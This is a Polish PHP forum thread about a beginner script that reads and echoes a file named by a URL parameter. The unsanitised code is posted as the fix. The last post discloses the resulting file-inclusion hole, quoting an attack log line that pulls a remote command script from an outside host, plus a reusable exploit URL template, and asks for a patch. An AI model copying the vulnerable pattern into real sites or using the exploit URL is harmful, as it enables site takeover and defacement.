include do tabelki

Języki, których efekty są wykonywane po stronie serwera. PHP, ASP czy CGI w połączeniu z bazami danych SQL dają niezwykłe możliwości budowy i zarządzania stron WWW. Tu zadajemy pytania oraz demonstrujemy kod, z którym mamy problem.
nietophez
Nowy
Nowy
Posty: 53
Rejestracja: wt lut 01, 2005 10:32 pm
Lokalizacja: Wieliczka
Kontakt:

re

Post autor: nietophez »

Owszem działa ale nie do końca bo jest tak jak napisałem chyba 2 posty wyżej. Że testowałem (informacje z kursu ;) różne rzeczy i dodałem średnik i było lepiej, ale w obecnej sytuacji jest jeszcze lepiej bo się wyświetla link oraz prawe menu a w środku nad napisem "tu treść strony pierwszej" pojawiają się jeszcz takie błędy:

Warning: fopen(.htm): failed to open stream: No such file or directory in c:\usr\apache\httpd\html\kurs\index.php on line 11

Warning: filesize(): Stat failed for .htm (errno=2 - No such file or directory) in c:\usr\apache\httpd\html\kurs\index.php on line 12

Warning: fread(): supplied argument is not a valid stream resource in c:\usr\apache\httpd\html\kurs\index.php on line 12

tu treść strony pierwszej
nietophez
Nowy
Nowy
Posty: 53
Rejestracja: wt lut 01, 2005 10:32 pm
Lokalizacja: Wieliczka
Kontakt:

re

Post autor: nietophez »

aha po kliknięciu w link wszystko gra i jest OK tak jak ma być ;)
yarpo
Nowy
Nowy
Posty: 168
Rejestracja: wt lut 08, 2005 6:29 pm
Lokalizacja: Gdańsk
Kontakt:

Re: include do tabelki

Post autor: yarpo »

To mi się mimo wszystko nie podoba:-(
Właśnie po to dawało się '@' w:

[php]<?PHP
@strona = $_GET["str"];
?>[/php]

żeby uniknąć wyświetlenia tego błędu..
Warning: fopen(.htm): failed to open stream: No such file or directory in c:\usr\apache\httpd\html\kurs\index.php on line 11

Warning: filesize(): Stat failed for .htm (errno=2 - No such file or directory) in c:\usr\apache\httpd\html\kurs\index.php on line 12

Warning: fread(): supplied argument is not a valid stream resource in c:\usr\apache\httpd\html\kurs\index.php on line 12

tu treść strony pierwszej
Rada na tro jest taka:
Tam gdzie jest warunke

[php]<?PHP if ($strona) .... ?>[/php]
daj
[php]<?PHP if ($strona != "") ... ?>[/php]

Wcześniej sprawdzał czy jest w ogole $strona. Teraz będzie sprawdzał czy ma wartość.

Tłumaczenia:
jesli ($strona) jest rózna [!=] od pustego ciągu znaków [czyli ma jakąś wartość] wykonuj dalej jest, w przeciwnym wypadku [else - czyli jeśli $strona jest pusta] wyświtel napis "To jest text na pierwszej stronie...".

Sprawdź teraz, z tymi poprawkami:-)
nietophez
Nowy
Nowy
Posty: 53
Rejestracja: wt lut 01, 2005 10:32 pm
Lokalizacja: Wieliczka
Kontakt:

re

Post autor: nietophez »

:twisted: Chyba się załame, bo to też odpada, gdyż nic się nie zmienia. Dalej ten sam błąd jest. Oczywiscie wszyskie pliki istnieją i sprawdzałem je z tysiąc razy.
Jak się uda połączyć z serwerem to opublikuje to na stronie www.maqal.friko.pl to będzie można zobaczyc co się dzieje, ale to chyba jasne.
nietophez
Nowy
Nowy
Posty: 53
Rejestracja: wt lut 01, 2005 10:32 pm
Lokalizacja: Wieliczka
Kontakt:

re

Post autor: nietophez »

No to się teraz wyjaśniło wszystko, gdyż opublikowałem stronke na serwerze friko.pl i jak się okazało tam wszystko po naszych zabiegach działa elegancko. Natomiast na krasnalu u mnie to wyświetla sie taki błąd jak opisany wyżej.
Prawdopodobnie ostatnia poprawka przy warunku
[php]<?php if ($strona != "") ?>[/php]
była nie potrzebna. Ale tego jeszcze nie sprawdziłem, gdyż mam znowu problemy z połączeniem, ale jestem tego niemal pewien.
Więc dla zainteresowanych cały skrypt po poprawkach wygląda tak:
[php]<?php
@$strona = $_GET["str"]; // 1
$urls = $strona.".htm";
$plik = fopen($urls, "r"); // 2
$tresc = fread($plik, filesize($urls)); // 3

if ($strona) {
echo $tresc; // 4
} else {
echo "<p>tu treść strony pierwszej</p>"; //5
}
?>[/php]
a link wywołujący:
[xml]<a href="index.php?str=start">Wejdź na sronę</a>[/xml]

Z góry wielkie dzieki za pomoc, zwłaszcza dla kolegi yarpo, który ma u mnie browara ;)
yarpo
Nowy
Nowy
Posty: 168
Rejestracja: wt lut 08, 2005 6:29 pm
Lokalizacja: Gdańsk
Kontakt:

Re: include do tabelki

Post autor: yarpo »

Hip Hip Huura!

Co do krasnala, to pownie jakieś ustawienia....
U mnie wszystko dziala ładnie - pięknie:-D

Potem umieszczę tu link do pliku php.ini, jaki ja mam u sibie:-D
Pobierzesz i zobaczysz na moich ustawieniach
nietophez
Nowy
Nowy
Posty: 53
Rejestracja: wt lut 01, 2005 10:32 pm
Lokalizacja: Wieliczka
Kontakt:

re

Post autor: nietophez »

OK to ja czekam na plik i zobaczymy co będzie :lol:
nietophez
Nowy
Nowy
Posty: 53
Rejestracja: wt lut 01, 2005 10:32 pm
Lokalizacja: Wieliczka
Kontakt:

Re: include do tabelki

Post autor: nietophez »

Tak ostatnio troszeczkę się bawiłem i odkryłem w tym skrypcie pewną dziurę dosyć niebezpieczną, a mianowicie problem jest związany z funkcją include. Logi z przykładem wykorzystania include'a użytego w celu wgrania pewnego pliku:
201.10.82.233 xxxxxxxxxxxxxxx - [11/Nov/2007:17:08:22 +0100] "POST /index.php?str=http://meiafase.t5.com.br/cmd.txt?&acti ... giant/www/ HTTP/1.1" 200 21405 "http://xxxxxxxxxxxxxx/index.php?str=htt ... br/cmd.txt?" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pt-BR; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9"
Wystarczy podać w linku:

Kod: Zaznacz cały

/index.php?str=__STRONA_DO_WGRANIA__?&action=upload&chdir=/home/t/r/a/trafficgiant/www/
żeby wrzucić dowolną stronę.

Ktoś może wrzucić prosty formularz do wgrywania danych na konto i potem nadpisywać wszystko do woli nawet jesli chmody sa pozmieniane a haslo nieznane dla wandala.

Był bym wdzięczny gdyby ktoś pomógł w poprawce tego skryptu
[php]<?php
@$strona = $_GET["str"]; // 1
$urls = $strona.".htm";
$plik = fopen($urls, "r"); // 2
$tresc = fread($plik, filesize($urls)); // 3

if ($strona) {
echo $tresc; // 4
} else {
echo "<p>tu treść strony pierwszej</p>"; //5
}
?>[/php]
[xml]<a href="index.php?str=start">Wejdź na sronę</a>[/xml]
ODPOWIEDZ